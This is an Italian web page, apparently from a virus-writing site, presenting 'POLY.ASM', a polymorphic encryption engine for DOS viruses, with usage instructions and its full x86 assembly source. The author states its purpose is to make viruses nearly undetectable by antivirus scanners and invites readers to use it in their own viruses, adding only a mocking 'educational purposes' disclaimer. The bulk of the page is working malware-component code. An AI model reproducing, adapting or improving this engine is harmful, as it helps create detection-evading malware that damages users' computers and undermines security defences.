ms.gif (151 bytes)menu_head.gif (3111 bytes) Go] mo.gif (100 bytes) m7.gif (102 bytes)
mt.gif (118 bytes) [Back
ml.gif (111 bytes) [Home
ml.gif (111 bytes) [Polymorphic] mo.gif (100 bytes)mo.gif (100 bytes)mo.gif (100 bytes)mo.gif (100 bytes)mo.gif (100 bytes)mo.gif (100 bytes)mo.gif (100 bytes)mo.gif (100 bytes)mo.gif (100 bytes)mo.gif (100 bytes)mo.gif (100 bytes)mo.gif (100 bytes)mo.gif (100 bytes)mo.gif (100 bytes)mo.gif (100 bytes)mo.gif (100 bytes)mo.gif (100 bytes)mo.gif (100 bytes) m7.gif (102 bytes)

car_net.gif (22770 bytes)

Questo e' un motore di crittografia polimorfica che vi permettera' di realizzare dei virus estremamente difficili da intercettare. Crea algoritmi di crittografia sempre diversi ogni volta che viene eseguito, con pochissime somiglianze tra le copie.
Il concetto e' molto semplice: i sistemi antivirus quando eseguono una scansione alla ricerca di un virus, in effetti cercano in memoria ed in ogni file dei marker caratteristici di ogni virus conosciuto. Questo motore rende quasi impossibile questa ricerca in quanto ogni copia del virus risultera' sempre diversa dalle sue "gemelle". Il virus si comportera', in un certo senso, come il virus HIV, che modifica la sua struttura proteica per proteggersi da eventuali vaccini. Un virus molto intelligente che ha tutta la mia stima e rispetto.

Devo ammettere che si tratta di un sistema veramente elementare. Modifiche ed aggiunte sono fortemente apprezzate.

Potete usare liberamente il motore nei vostri virus. Vi invito, cari fratelli, a farne un uso prudente ed oculato dato che non ho la minima idea di come fare un antivirus per questo motore... :))

Di seguito allego il sorgente POLY.ASM
Potrete chiamarlo dai vostri programmi in questa maniera:

DS:SI     puntatore al codice da criptare
ES:DI     puntatore all'area che conterra' il codice risultante
CX         dimensioni del codice da crittografare
DX         indirizzo al quale il codice risultante verra' eseguito in memoria

in ingresso:
call _poly

e inserite una include da qualche parte (alla fine del vostro sorgente):
include poly.asm

ATTENZIONE! Ripeto, questo sistema non e' consigliato a persone inesperte...

Ovviamente tutto questo e' solo a scopi didattici
se per sbaglio infettate il vostro pc e quelli di mezzo mondo io non so un cazzo!

non rompetemi le palle se non per inviarmi eventuali migliorie a questo motore...

; ==========================================================================
;
; poly - motore di polimorfismo per virus - v 1.00
; by netcoder [member of Light Raiders]
; 609 Bytes
;
; ==========================================================================
;
; Uso :
;
;     impostare i registri con :
;
;     DS:SI - codice da criptare
;     ES:DI - spazio per il codice finale
;     CX - size del codice
;     DX - indirizzo del codice quando sara' eseguito
;
; chiamare la routine con "call _poly" e alla fine del vostro
; programma inserite la linea :
;
;     include poly.asm
;
; in ritorno, DS:DX punta allo spazio che contiene
; il codice criptato e CX contiene le dimensioni del modulo criptato
; ==========================================================================

_poly:
            jmp _poly_stuff

            db '[poly]'

_poly_stuff:
            push ax bx es di es di si bp

            call $ + 3                     ; preleviamo il nostro offset
            pop bp
            sub bp,offset $ - 1

; (1)===> impostiamo le variabili con numeri random

            call randomize                 ; un numero random

            push es di
            lea di,[bp + reg_1]
            push cs
            pop es

            xor bl,bl
            call get_register              ; preleviamo i registri
            stosb
            mov bl,3
            call get_register
            stosb

            mov al,3                       ; ADD, SUB or XOR?
            call _random
            stosb

            or al,-1                       ; creiamo random
            call _random
            stosb

            pop di es
            mov cs:[bp + started_at],di   ; indirizzo di start

; (2)===> impostiamo i registri per la routine di decritto...

            push ds
            push cs                        ; appoggio DS in CS
            pop ds

            call garbage                   ; garbage...

            call head_tail                 ; counter oppure offset?
            jc counter_first

            call load_offset               ; prima l' offset
            call load_counter
            jmp decryptor

counter_first:
            call load_counter              ; prima il counter
            call load_offset
            jmp decryptor

load_offset:
            mov al,[bp + reg_2]
            call garbage
            add al,0B8h
            stosb
            mov [bp + offset_at],di        ; l'offset lo
                                          ; impostiamo dopo...
            stosw
            ret
load_counter:
            mov al,[bp + reg_1]            ; il registro del counter
            call garbage
            add al,0B8h
            stosb
            mov ax,cx                      ; le dimensioni...
            stosw
            ret

; (3)===> carichiamo la routine di decritto e allineiamo la critto...

decryptor:
            push di                        ; salviamo questo offset
            call garbage                   ; ancora garbage...

            mov ax,802Eh
            stosw

            mov al,[bp + operation]

; seleziona l'operazione
            test al,al                     ; 0 = ADD
            je do_add
            cmp al,1                       ; 1 = SUB
            je do_sub
                                           ; 2 = XOR
            mov al,30h                     ; esegui l'operazione
do_add:
            push ax
            cmp al,28h                     ; se SUB,ADD in critto...
            je encrypt_add
            test al,al
            je encrypt_sub                 ; e vice versa

            mov al,32h                     ; imposta la routine critto...
            mov [bp + encrypt_oper],al    ; lo stesso per XOR
            jmp decryptor_stuff

encrypt_add:
            mov al,2
            jmp encrypt_move
encrypt_sub:
            mov al,2Ah
encrypt_move:
            mov [bp + encrypt_oper],al

decryptor_stuff:
            pop ax
            mov ah,[bp + reg_2]            ; prelevo il registro offset

            cmp ah,3                       ; BX
            je its_bx
            cmp ah,6                       ; SI
            je its_si
            ja its_di                      ; DI

            add al,46h                     ; BP (word)
            xor ah,ah
            stosw
            jmp load_value

its_bx:     add al,2                       ; carichiamo l'istruzione
its_di:     inc ax                         ; corretta
its_si:     add al,4
            stosb
            jmp load_value

do_sub:
            mov al,28h
            jmp do_add

load_value:
            mov al,[bp + random_no]
            stosb

; (4)===> incrementa il registro offset

loaded:
            call garbage                   ; ancora garbage...
            call head_tail                 ; incremento reg offset
            jc use_increments              ; con INC oppure ADD

            mov ax,0C083h                  ; una ADD
            add ah,[bp + reg_2]
            stosw

            mov al,1
            stosb
            jmp fix_counter

use_increments:
            mov al,40h
            add al,[bp + reg_2]
            stosb

; (5)===> decrementa il registro counter e fa un loop

fix_counter:
            cmp [bp + reg_1],1             ; se CX, possimo fare LOOP
            jne no_loop
            call head_tail                 ; lo voglio fare...
            jc use_loop

no_loop:
            call garbage
            call head_tail                 ; INC o SUB?
            jc use_decrement

            mov ax,0E883h                  ; usa una SUB
            add ah,[bp + reg_1]
            stosw
            mov al,1
            stosb
            jmp now_jnz

use_loop:
            call garbage
            pop ax                         ; offset di decritto...
            sub ax,di
            sub al,2
            mov ah,al
            mov al,0E2h                    ; memorizza la LOOP
            stosw
            jmp fix_offset

use_decrement:
            mov al,48h
            add al,[bp + reg_1]
            stosb

now_jnz:
            pop ax                         ; indirizzo di decritto...
            sub ax,di
            sub al,2
            mov ah,al
            mov al,75h                     ; memorizza JNZ
            stosw

; (6)===> allineiamo il registro offset

fix_offset:
            call garbage                   ; l'ultima garbage!

            mov ax,[bp + started_at]      ; calcola l'offset
            sub ax,di                      ; relativo al runtime
            neg ax
            add ax,dx

            mov bx,[bp + offset_at]
            mov es:[bx],ax                 ; ...fatto

; (7)===> criptiamo!

encryption:
            pop ds                         ; restore di DS
            push ax                        ; questo e' per dopo...
            push cx                        ; la size del codice

            mov bl,cs:[bp + random_no]

encrypt_it:
            lodsb
            encrypt_oper db 0
            db 0C3h
            stosb
            loop encrypt_it

            pop cx                          ; la size del codice

            pop ax
            sub ax,dx                       ; piu' il modulo
                                            ; di decritto...
            add cx,ax                       ; ... fatto
            jmp poly_done

; aree di lavoro

      reg_1 db 4             ; registro counter
      reg_2 db 4             ; registro offset
      operation db 0        ; operazione
      random_no db 0        ; numero random

      started_at dw 0       ; l'inizio del codice
      offset_at dw 0        ; indirizzo di caricamento
      rand_seed dw 0

; routine di randomizzazione

randomize:
            push cx dx
            xor ah,ah                    ; il timer count
            int 1Ah
            mov cs:[bp + rand_seed],dx
            xchg ch,cl
            add cs:[bp + rand_seed_2],cx
            pop dx cx
            ret

; routine head/tail

head_tail:
            mov ax,2                    ; prendiamo un valore 0 o 1
            call _random
            test al,al
            jz _head_
            stc
            ret
_head_:     clc
            ret

; routine per ottenere i registri

get_register:
            mov ax,8                    ; preleviamo un registro
            call _random
check_reg:
            cmp al,4                    ; non usiamo SP
            je no_good                  ; oppure uno usato
            cmp al,bl
            jb no_good
            cmp al,cs:[bp + reg_1]
            je no_good
            cmp al,cs:[bp + reg_2]
            je no_good
            ret                         ; ... fatto
no_good:
            test al,al
            jz blah_blah
            dec al
            jmp check_reg
blah_blah:
            mov al,7
            jmp check_reg

; generatore di numeri random

_random:
            push cx dx ax                 ; salva i registri
            in al,40h                     ; il timer, per random
            sub ax,cs:[bp + rand_seed]
            db 35h                        ; XOR AX,
            rand_seed_2 dw 0
            inc ax
            add cs:[bp + rand_seed],ax   ; cambio di seed
            xor dx,dx
            pop cx
            test ax,ax                    ; rischiamo divide by zero?
            jz no_divide
            div cx
no_divide:
            mov ax,dx                     ; il resto e' il valore
            pop dx cx                     ; ritornato
            ret

; generatore di istruzioni garbage

garbage:
            push ax
            mov ax,8                      ; decisioni...
            call _random                  ; quale usare?

            cmp al,1                      ; 1 = NOP o SAHF
            je nop_sahf
            cmp al,2                      ; 2 = ok, registro libero
            je nothing_oper
            cmp al,3                      ; 3 = STC o CMC
            je stc_cmc
            cmp al,4                      ; 4 = jump alla prossima
            je nothing_jmp                ; istruzione
            cmp al,5                      ; 5 = CMP dell'istruzione
            je nothing_cmp

garbage_done:
            pop ax                        ; ...fatto
            ret

nop_sahf:
            call head_tail                ; NOP o SAHF
            je use_sahf
            mov al,90h
store_gbg:  stosb
            jmp garbage_done
use_sahf:   mov al,9Eh
            jmp store_gbg

nothing_oper:
            xor bl,bl
            call get_register
            add al,0B8h
            stosb
            or ax,-1
            call _random
            stosw
            jmp garbage_done

stc_cmc:
            call head_tail                ; STC o CMC
            jc use_cmc
            mov al,0F9h
            jmp store_gbg
use_cmc:    mov al,0F5h
            jmp store_gbg

nothing_jmp:
            mov ax,10h                    ; istruzione jump random
            call _random
            add al,70h
            xor ah,ah
            stosw
            jmp garbage_done

nothing_cmp:
            mov ax,800h                    ; nessun CMP
            call _random
            xor al,al
            add ax,0F881h
            stosw
            call _random
            stosw
            jmp garbage_done

poly_done:
            pop bp si dx ds di es bx ax
            ret
_poly_end:

Go] mo.gif (100 bytes) m7.gif (102 bytes)
mt.gif (118 bytes) [Back
ml.gif (111 bytes) [Home